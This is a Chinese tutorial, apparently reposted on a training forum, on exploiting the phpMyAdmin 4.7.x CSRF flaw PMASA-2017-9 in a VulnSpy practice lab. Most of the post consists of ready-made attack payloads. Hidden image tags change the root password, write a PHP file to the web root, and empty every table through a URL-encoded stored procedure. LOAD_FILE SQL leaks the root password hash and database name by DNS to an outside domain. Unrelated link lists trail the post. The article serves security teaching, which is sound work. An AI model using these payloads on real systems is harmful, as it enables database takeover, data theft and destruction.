作者:Ambulong

phpMyAdmin是个知名MySQL/MariaDB在线管理工具,phpMyAdmin团队在4.7.7版本中修复了一个危害严重的CSRF漏洞(PMASA-2017-9),攻击者可以通过诱导管理员访问恶意页面,悄无声息地执行任意SQL语句。

该篇文章我们将结合VulnSpy的在线phpMyAdmin环境来熟悉该漏洞的利用。

在线 phpMyAdmin CSRF 演练地址:https://www.vulnspy.com/?u=pmasa-2017-9

注:重启演示靶机即可重置靶机

1 在线创建 phpMyAdmin 环境

点击 VulnSpy 提供的创建靶机地址(https://www.vsplate.com/?github=vulnspy/PMASA-2017-9

跳转到 VSPlate 后,直接点击GO按钮,便会自动创建一个 phpMyAdmin 环境

打开演示地址的链接,我们的 phpMyAdmin 就创建完成了。

使用帐号 root ,密码 toor ,登录 phpMyAdmin 。根据页面信息,我们可以发现当前 phpMyAdmin 的版本为 4.7.6,刚好匹配存在漏洞的 phpMyAdmin 版本。

2 CSRF 漏洞利用 – 修改当前数据库用户密码

我们知道,如果要利用CSRF来删除或修改数据库内容,通查情况下需要提前知道数据库名、表名和字段名。这样利用显得有点复杂,成功率也有限,因此本文我们将介绍几种较为通用的利用方式。

在MySQL中支持使用SQL语句来修改当前用户密码。比如将当前用户密码修改为[www.vulnspy.com](http://www.vulnspy.com),对应的SQL语句为:

SET passsword=PASSWORD('www.vulnspy.com');

利用演示

2.1 模拟管理员登录phpMyAdmin的状态。

用帐号 root 密码 toor 登录 phpMyAdmin 。

2.2 创建含有恶意代码的页面。

文件名 2.payload.html (将下面的域名换成自己的靶机域名)

<p>Hello World</p>
<img src="http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=SET%20password
%20=%20PASSWORD(%27www.vulnspy.com%27)" style="display:none;" />

2.3 用浏览器打开含有恶意代码的文件 2.payload.html

回到上一步打开的phpMyAdmin页面,发现已自动退出,而且用原来的密码 toor 已经无法登录。

2.4 使用密码 www.vulnspy.com 登录成功,表明利用成功

3 CSRF 漏洞利用 – 写文件

MySQL支持将查询结果写到文件当中,我们可以利用该特性来写入PHP文件。比如将代码<?php phpinfo();?>写到文件/var/www/html/test.php中,对应的SQL语句为:

select '<?php phpinfo();?>' into outfile '/var/www/html/test.php';

利用演示

3.1 将上一个演示步骤相同,只需将2.2中的文件代码改成:

<p>Hello World</p>
<img src="http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=select '<?php phpinfo();?>' into outfile '/var/www/html/test.php';" style="display:none;" />

3.2 用浏览器打开含有恶意代码的文件

3.3 访问 test.php

可见文件已经写入成功。

4 CSRF 漏洞利用 – 获取数据

MySQL提供了load_file()函数来支持读取文件内容的操作。比如读取文件/etc/passwd内容,,对应的SQL语句为:

select load_file('/etc/passwd');

但是对于CSRF漏洞来说,该读取操作实在目标用户端执行的,我们依然无法知道文件读取的结果。而load_file()在Windows下支持从网络共享文件夹中读取文件,如\\192.168.1.100\share\vulnspy.txt。网络共享文件的地址处不仅可以填写IP还可以填写域名,我们可以通过DNS解析来获取查询的数据。

此处需要用到 DNSLOG 之类的工具:https://github.com/BugScanTeam/DNSLog, 这类工具可以记录域名的 DNS 解析记录

比如通过DNS解析来获取当前 MySQL root 用户密码,对应的SQL语句为:

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.vulnspy.com\\test'));

获取当前数据库名:

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.vulnspy.com\\test'));

如果请求成功,查询结果将作为二级域名的一部分出现在我们的 DNS 解析记录当中。

该环境暂无法演示

5 CSRF 漏洞利用 – 清空所有数据表

如果上面几种利用方式都无法直接造成直接的影响,我们可以利用SQL语句来清空当前MySQL用户可操作的所有数据表。

我们用命令

SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT 0,1

来获取数据名和表名,并将其拼接成删除语句(如:DELETE FROM vulnspy_tables.inv),通过 execute 来执行生成的删除语句:

set @del = (SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT 0,1);
prepare stmt from @del;
execute stmt;

但是 execute 一次只能执行一条SQL语句,因此我们可以利用循环语句来逐一执行:

DROP PROCEDURE IF EXISTS EMPT;
DELIMITER $$
    CREATE PROCEDURE EMPT()
    BEGIN
        DECLARE i INT;
        SET i = 0;
        WHILE i < 100 DO
            SET @del = (SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT i,1);
            PREPARE STMT FROM @del;
            EXECUTE STMT;
            SET i = i +1;
        END WHILE;
    END $$
DELIMITER ; CALL EMPT();

利用演示

5.1 Payload如下

<p>Hello World</p>
<img src="http://7f366ec1afc5832757a402b5355132d0.vsplate.me/import.php?db=mysql&table=user&sql_query=DROP+PROCEDURE+IF+EXISTS+EMPT%3B%0ADELIMITER+%24%24%0A++++CREATE+PROCEDURE+EMPT%28%29%0A++++BEGIN%0A++++++++DECLARE+i+INT%3B%0A++++++++SET+i+%3D+0%3B%0A++++++++WHILE+i+%3C+100+DO%0A++++++++++++SET+%40del+%3D+%28SELECT+CONCAT%28%27DELETE+FROM+%27%2CTABLE_SCHEMA%2C%27.%27%2CTABLE_NAME%29+FROM+information_schema.TABLES+WHERE+TABLE_SCHEMA+NOT+LIKE+%27%25_schema%27+and+TABLE_SCHEMA%21%3D%27mysql%27+LIMIT+i%2C1%29%3B%0A++++++++++++PREPARE+STMT+FROM+%40del%3B%0A++++++++++++EXECUTE+stmt%3B%0A++++++++++++SET+i+%3D+i+%2B1%3B%0A++++++++END+WHILE%3B%0A++++END+%24%24%0ADELIMITER+%3B%0A%0ACALL+EMPT%28%29%3B%0A" style="display:none;" />

5.2 用浏览器打开含有恶意代码的文件

5.3 回到 phpMyAdmin 中查看数据

可以发现数据库vulnspy_tables和数据库vulnspy_test中的数据已经被清空。

6 总结

这个 phpMyAdmin 的 CSRF 漏洞利用有点类似 SQL 盲注的利用,但是对于漏洞触发的时间不可控(即不知道管理员何时会访问含有恶意代码的页面),因此需要更加通用的利用方式。通过该实验,不仅了解该漏洞的内容,还可以更加熟悉CSRF漏洞的利用。

本文转载自:phpMyAdmin 4.7.x CSRF 漏洞利用 - https://blog.vulnspy.com/2018/06/10/phpMyAdmin-4-7-x-XSRF-CSRF-vulnerability-exploit/

i春秋推出优享会员制,开通会员可以免费畅享多类课程、实验、CTF赛题等付费内容,并可享有包括会员日专属福利、就业推荐等多种特权福利,更多活动详情可点击:https://bbs.ichunqiu.com/thread-40795-1-1.html了解哦~

phpMyAdmin 4.7.x CSRF 漏洞利用的更多相关文章

  1. csrf漏洞利用

    low csrf(cross-site-request forgery),跨站请求伪造. 测试网站 --http://localhost/vulnerability/csrf 修改密码,点击chang ...

  2. 第三方登录绑定csrf漏洞利用

    作者:pmiaowu 文章:https://www.yuque.com/pmiaowu/web_security_1/sq87w6 这里需要使用到一个微博账号与两个某厂商账号 条件: 1.微博账号:1 ...

  3. KPPW2.5 漏洞利用--CSRF

    kppw2.5 CSRF漏洞复现 漏洞说明 http://192.168.50.157/kppw25/index.php?do=user&view=message&op=send 收件 ...

  4. 【代码审计】YzmCMS_PHP_v3.6 CSRF漏洞分析

      0x00 环境准备 YzmCMS官网:http://www.yzmcms.com/ 程序源码下载:http://pan.baidu.com/s/1pKA4u99 测试网站首页: 0x01 代码分析 ...

  5. PHP代码审计笔记--CSRF漏洞

    0x01 前言 CSRF(Cross-site request forgery)跨站请求伪造.攻击者盗用了你的身份,以你的名义向第三方网站发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻 ...

  6. CSRF漏洞原理浅谈

    CSRF漏洞原理浅谈 By : Mirror王宇阳 E-mail : mirrorwangyuyang@gmail.com 笔者并未深挖过CSRF,内容居多是参考<Web安全深度剖析>.& ...

  7. phpMyAdmin 4.8.x 本地文件包含漏洞利用

    phpMyAdmin 4.8.x 本地文件包含漏洞利用 今天ChaMd5安全团队公开了一个phpMyAdmin最新版中的本地文件包含漏洞:phpmyadmin4.8.1后台getshell.该漏洞利用 ...

  8. CSRF漏洞原理说明与利用方法

    翻译者:Fireweed 原文链接:http://seclab.stanford.edu/websec/ 一 .什么是CSRF Cross-Site Request Forgery(CSRF),中文一 ...

  9. 利用BURPSUITE检测CSRF漏洞

    CSRF漏洞的手动判定:修改referer头或直接删除referer头,看在提交表单时,网站是否还是正常响应. 下面演示用Burpsuite对CSRF进行鉴定. 抓包. 成功修改密码完成漏洞的利用.

随机推荐

  1. __str__ 和 __repr

    #1 默认类里面默认提供的__str__方法,是返回类的内存地址class foo: def __init__(self): pass #2 修改类里面默认提供的__str__方法class fun: ...

  2. MANIPULATION

    MANIPULATION Generalizations Congratulations! You learned how to use the command line to view and ma ...

  3. 关于$.ajax同步和异步的问题和提交后台的一些问题。

    经常有人ajax函数外,定义一个全局变量,并且在返回函数取出一个值用作判断条件,但是这一条件常常失效. var OnOff=0; var checkPhone = function() { var p ...

  4. C++ 下面的AIDL

    转自https://android.googlesource.com/platform/system/tools/aidl/+/brillo-m10-dev/docs/aidl-cpp.md. Bac ...

  5. C# 导出dataGridView中的值到Excel

    C# 怎么导出dataGridView中的值到Excel 1 2 3 4 5 6 在系统应用过程中,数据是系统的核心.如果直接在应用软件中看数据,有时也有些不便,所以就会把系统数据转换成Excel格式 ...

  6. opencv setTo()

    转载至 作者:跬步达千里 opencv的setTo函数是将图像设置为某个值; 例如: 1.有一个Mat src,想将他的值全部设置成0,则可以src.setTo(0) 2.setTo还有更为高级的用法 ...

  7. mysql case when then else end 写法

    今天改SQL用到了就搜了搜,现在记下来. case when tableName.type in (1,2,3,4) and tableName.state  in (5,6) then 1 when ...

  8. Python中使用%还是format来格式化字符串?

    Python中应该使用%还是format来格式化字符串?   %还是format Python中格式化字符串目前有两种阵营:%和format,我们应该选择哪种呢? 自从Python2.6引入了form ...

  9. linux环境启动数据库

    1.查看数据库监听的状态: 监听状态:lsnrctl status  出现如下列截图所示数据,说明切切换账户有问题:切换账户时要家:-:  如 su - oracle 第一步:打开Oracle监听$ ...

  10. CentOS7使用ZFS文件系统

    默认情况下,CentOS7并没有含ZFS支持的文件和,需要进行更新和安装第三方库. Step 1:安装第三方库和更新系统 [root@localhost ~]# rpm -Uvh http://www ...